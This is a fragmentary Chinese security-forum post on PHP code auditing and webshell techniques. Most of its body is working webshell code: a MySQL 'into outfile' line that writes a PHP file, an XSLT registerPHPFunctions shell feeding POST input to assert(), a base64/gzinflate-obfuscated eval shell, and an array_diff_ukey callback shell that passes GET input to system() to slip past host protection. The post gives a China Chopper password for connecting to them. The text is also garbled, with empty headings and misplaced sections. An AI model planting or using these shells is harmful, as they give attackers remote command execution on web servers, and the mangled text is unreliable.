标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-884] 作者: 闲云野鸡 发表于: [2017-10-20]
本文共 [611] 位读者顶过
前言[出自:jiwo.org]
正文
1.2、常见的CMS有哪些?
代码审计途径:
select into outfile(dumpfile) //MySQL写文件命令 例如: select "<?php echo ‘test‘; ?>" into outfile "F:\\www\\test.php";
那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了。
定位到XSLTProcessor类,可以发现registerPHPFunctions方法,如果你根本不懂这些方法,不要紧,看后面的英文介绍,如果你说你不懂英文,不要紧啊,不有google翻译,拿去翻译一下
Enables the ability to use PHP functions as XSLT functions
我们点进去,可以发现里面有事例,很简单,建议大家去看看啊。PHP手册地址见下面的参考资料
<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> //这个命名空间URI表示php专用的xsl函数支持 <xsl:output method="html" encoding="utf-8" indent="yes"/> <xsl:template match="allusers"> <html><body> <h2>Users</h2> <table> <xsl:for-each select="user"> <tr><td> <xsl:value-of select="php:function(‘ucfirst‘,string(uid))"/> //php:function(‘assert‘,string(.))表示将匹配节点的文本作为参数传递给php的assert函数。 </td></tr> </xsl:for-each> </table> </body></html> </xsl:template> </xsl:stylesheet>
那么搞懂了以上这些知识,那就很简单了。
<?php $xml=‘<ichunqiu>assert($_POST[zusheng]);</ichunqiu>‘; $xsl=‘<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:icq="http://php.net/xsl"> <xsl:template match="/ichunqiu"> <xsl:value-of select="icq:function(\‘assert\‘,string(.))"/> </xsl:template> </xsl:stylesheet>‘; $xmldoc = DOMDocument::loadXML($xml); $xsldoc = DOMDocument::loadXML($xsl); $proc = new XSLTProcessor(); $proc->registerPHPFunctions(); $proc->importStyleSheet($xsldoc); $proc->transformToXML($xmldoc); ?>
可以直接用菜刀连接:(密码:zusheng)
参考资料:
<?php
eval(gzinflate(base64_decode(‘Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=‘)));
?>
可以直接用菜刀连接:(密码:zusheng)
5.2、安全工具
下载地址:免费下载
360主机卫士:
<?php if (isset($_GET["cmd"])) { array_diff_ukey(@array($_GET[‘cmd‘]=>1),@array(‘user‘=>2),‘system‘); } ?>
使用gzinflate+Base64加密,来隐藏WebShell。 |